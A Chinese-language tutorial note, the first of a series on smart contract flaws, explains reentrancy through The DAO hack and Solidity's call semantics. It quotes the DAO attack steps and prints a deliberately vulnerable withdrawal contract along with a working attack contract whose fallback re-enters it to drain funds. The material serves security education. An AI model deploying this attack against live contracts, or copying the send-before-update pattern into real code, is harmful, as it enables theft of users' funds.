#DASP# Reentrancy (1)
Contents
0x00 Info
从本篇开始学习智能合约漏洞,依据DASP TOP10。
0x01 DAO
History:
WhitePaper:
OpenSource:
概念理解
众筹合约,通过资金ETH换取DAO token,从而获得投票和发起议案的权利,按一定规则回馈给投资人投资项目的收益。 因此,The DAO特点:
- 本质是个VC,通过以太坊筹集的资金(ETH)锁定在智能合约中,通过代码主导!
- 出资ETH获取对应DAO代币,具有审查项目、投票表决和提出投资项目议案的权利
- 投资议案由全体代币持有人投票表决,一币一票,票数通过,投资项目可获得相应投资额。利用“众智”+出资额权重决定投资策略(取代传统行业投资经理)。
- 投资项目的收益按规则回馈股东。
The DAO is attacked
the-dao-the-hack-the-soft-fork-and-the-hard-fork
security-alert-dos-vulnerability-in-the-soft-fork
0x02 Reentrancy
solidity基础知识
合约调用
- message call
bytes4 funcIdentifier = bytes4(keccak256("FuncName(paramType)"));
this.call(funcIdentifier, paramValue);
- contract object
Contract1 c = Contract1(AddressOfContract1);
c.foo();
限制
- 例如send花费2300gas
- 递归调用栈最大1024层
转币
1. <address>.transfer() //失败抛出throw且回滚,2300gas
2. <address>.send() //失败返回false,2300gas
3. <address>.gas().call.vale()() //失败返回false,所有gas
fallback
contract SimpleFallback{
function(){
//fallback function
}
}
两种情况会调用fallback:
- 调用函数找不到时
- 向合约发送ether时
reentrancy & The DAO
DASP TOP10中reentrancy的描述:dasp
reentrancy原型为Race-To-Empty,其中就已经介绍了重置资产放在转币操作后的漏洞。
其中最典型的攻击案例为The DAO。对于The DAO的漏洞分析及利用exp & demo网上一大堆,这里就不ctrlcv了。
建议结合源码一起看,并使用本地(truffle+testrpc or geth testnet)或者在线的remix编译环境上手实践。
可以首先看看中文分析:
推荐Phil Daian分析:
Quote
attack steps:
- Propose a split and wait until the voting period expires. (DAO.sol, createProposal)
- Execute the split. (DAO.sol, splitDAO)
- Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy)
- Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut)
- While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient())
- The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO)
- Back to (5)!
- Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-).
其中最关键的就是第4步,splitDAO -> withdrawRewardFor -> payOut,其中payOut使用_recipient.call.value(_amount)()转币,而splitDAO函数中资产重置是放在withdrawRewardFor函数后,造成漏洞。
demo & exp:
其他合约中的reentrancy漏洞:CityMayor
漏洞合约:
contract vulnerable_DAO{
mapping(address=>uint) userBalances;
function vulnerable_DAO() payable {
}
function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}
function addToBalance() payable {
userBalances[msg.sender] += msg.value;
}
function withdrawBalance() {
uint amountToWithdraw = userBalances[msg.sender];
if(msg.sender.call.value(amountToWithdraw)() ==false) {
throw;
}
userBalances[msg.sender] = 0;
}
function getBalance() returns(uint) {
return this.balance;
}
}
攻击利用合约:
contract Attack {
address vulnerable_contract;
uint attackCount;
address public owner;
function Attack() public{
attackCount = 2;
owner = msg.sender;
}
function() payable{
while(attackCount>0) {
attackCount--;
require(vulnerable_contract.call(bytes4(keccak256("withdrawBalance()"))));
}
}
function deposit(address _vulnerable_contract) public payable{
vulnerable_contract = _vulnerable_contract;
require(vulnerable_contract.call.value(msg.value)(bytes4(keccak256("addToBalance()"))));
}
function withdraw(){
require(vulnerable_contract.call(bytes4(keccak256("withdrawBalance()"))));
}
function getBalance() returns(uint) {
return this.balance;
}
}